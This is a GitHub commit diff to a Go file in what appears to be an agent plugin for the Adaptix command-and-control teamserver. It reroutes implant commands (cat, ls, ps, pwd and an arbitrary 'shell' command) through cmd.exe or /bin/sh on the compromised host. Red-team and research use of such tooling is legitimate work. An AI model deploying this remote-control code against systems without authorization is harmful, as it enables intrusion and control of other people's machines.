Add files via upload

This commit is contained in:
Brice | bri5ee
2025-11-29 19:36:36 -08:00
committed by GitHub
parent 27561e90fe
commit 4f6dd89072
@@ -381,14 +381,28 @@ func CreateTask(ts Teamserver, agent adaptix.AgentData, args map[string]any) (ad
switch command {
case "cat":
taskData.Type = TYPE_JOB
path, ok := args["path"].(string)
if !ok {
err = errors.New("parameter 'path' must be set")
goto RET
}
packerData, _ := msgpack.Marshal(ParamsCat{Path: path})
cmd = Command{Code: COMMAND_CAT, Data: packerData}
r := make([]byte, 4)
_, _ = rand.Read(r)
taskId := binary.BigEndian.Uint32(r)
taskData.TaskId = fmt.Sprintf("%08x", taskId)
if agent.Os == OS_WINDOWS {
cmdArgs := []string{"/c", fmt.Sprintf("type %s", path)}
packerData, _ := msgpack.Marshal(ParamsRun{Program: "C:\\Windows\\System32\\cmd.exe", Args: cmdArgs, Task: taskData.TaskId})
cmd = Command{Code: COMMAND_RUN, Data: packerData}
} else {
cmdArgs := []string{path}
packerData, _ := msgpack.Marshal(ParamsRun{Program: "/bin/cat", Args: cmdArgs, Task: taskData.TaskId})
cmd = Command{Code: COMMAND_RUN, Data: packerData}
}
case "cd":
path, ok := args["path"].(string)
@@ -498,13 +512,28 @@ func CreateTask(ts Teamserver, agent adaptix.AgentData, args map[string]any) (ad
cmd = Command{Code: COMMAND_KILL, Data: packerData}
case "ls":
taskData.Type = TYPE_JOB
dir, ok := args["directory"].(string)
if !ok {
err = errors.New("parameter 'directory' must be set")
goto RET
}
packerData, _ := msgpack.Marshal(ParamsLs{Path: dir})
cmd = Command{Code: COMMAND_LS, Data: packerData}
r := make([]byte, 4)
_, _ = rand.Read(r)
taskId := binary.BigEndian.Uint32(r)
taskData.TaskId = fmt.Sprintf("%08x", taskId)
if agent.Os == OS_WINDOWS {
cmdArgs := []string{"/c", fmt.Sprintf("dir %s", dir)}
packerData, _ := msgpack.Marshal(ParamsRun{Program: "C:\\Windows\\System32\\cmd.exe", Args: cmdArgs, Task: taskData.TaskId})
cmd = Command{Code: COMMAND_RUN, Data: packerData}
} else {
cmdArgs := []string{"-la", dir}
packerData, _ := msgpack.Marshal(ParamsRun{Program: "/bin/ls", Args: cmdArgs, Task: taskData.TaskId})
cmd = Command{Code: COMMAND_RUN, Data: packerData}
}
case "mv":
src, ok := args["src"].(string)
@@ -532,10 +561,39 @@ func CreateTask(ts Teamserver, agent adaptix.AgentData, args map[string]any) (ad
cmd = Command{Code: COMMAND_MKDIR, Data: packerData}
case "ps":
cmd = Command{Code: COMMAND_PS, Data: nil}
taskData.Type = TYPE_JOB
r := make([]byte, 4)
_, _ = rand.Read(r)
taskId := binary.BigEndian.Uint32(r)
taskData.TaskId = fmt.Sprintf("%08x", taskId)
if agent.Os == OS_WINDOWS {
cmdArgs := []string{"/c", "tasklist"}
packerData, _ := msgpack.Marshal(ParamsRun{Program: "C:\\Windows\\System32\\cmd.exe", Args: cmdArgs, Task: taskData.TaskId})
cmd = Command{Code: COMMAND_RUN, Data: packerData}
} else {
cmdArgs := []string{"-ef"}
packerData, _ := msgpack.Marshal(ParamsRun{Program: "/bin/ps", Args: cmdArgs, Task: taskData.TaskId})
cmd = Command{Code: COMMAND_RUN, Data: packerData}
}
case "pwd":
cmd = Command{Code: COMMAND_PWD, Data: nil}
taskData.Type = TYPE_JOB
r := make([]byte, 4)
_, _ = rand.Read(r)
taskId := binary.BigEndian.Uint32(r)
taskData.TaskId = fmt.Sprintf("%08x", taskId)
if agent.Os == OS_WINDOWS {
cmdArgs := []string{"/c", "cd"}
packerData, _ := msgpack.Marshal(ParamsRun{Program: "C:\\Windows\\System32\\cmd.exe", Args: cmdArgs, Task: taskData.TaskId})
cmd = Command{Code: COMMAND_RUN, Data: packerData}
} else {
packerData, _ := msgpack.Marshal(ParamsRun{Program: "/bin/pwd", Args: []string{}, Task: taskData.TaskId})
cmd = Command{Code: COMMAND_RUN, Data: packerData}
}
case "rev2self":
cmd = Command{Code: COMMAND_REV2SELF, Data: nil}
@@ -572,20 +630,27 @@ func CreateTask(ts Teamserver, agent adaptix.AgentData, args map[string]any) (ad
cmd = Command{Code: COMMAND_RUN, Data: packerData}
case "shell":
taskData.Type = TYPE_JOB
cmdParam, ok := args["cmd"].(string)
if !ok {
err = errors.New("parameter 'cmd' must be set")
goto RET
}
r := make([]byte, 4)
_, _ = rand.Read(r)
taskId := binary.BigEndian.Uint32(r)
taskData.TaskId = fmt.Sprintf("%08x", taskId)
if agent.Os == OS_WINDOWS {
cmdArgs := []string{"/c", cmdParam}
packerData, _ := msgpack.Marshal(ParamsShell{Program: "C:\\Windows\\System32\\cmd.exe", Args: cmdArgs})
cmd = Command{Code: COMMAND_SHELL, Data: packerData}
packerData, _ := msgpack.Marshal(ParamsRun{Program: "C:\\Windows\\System32\\cmd.exe", Args: cmdArgs, Task: taskData.TaskId})
cmd = Command{Code: COMMAND_RUN, Data: packerData}
} else {
cmdArgs := []string{"-c", cmdParam}
packerData, _ := msgpack.Marshal(ParamsShell{Program: "/bin/sh", Args: cmdArgs})
cmd = Command{Code: COMMAND_SHELL, Data: packerData}
packerData, _ := msgpack.Marshal(ParamsRun{Program: "/bin/sh", Args: cmdArgs, Task: taskData.TaskId})
cmd = Command{Code: COMMAND_RUN, Data: packerData}
}
case "screenshot":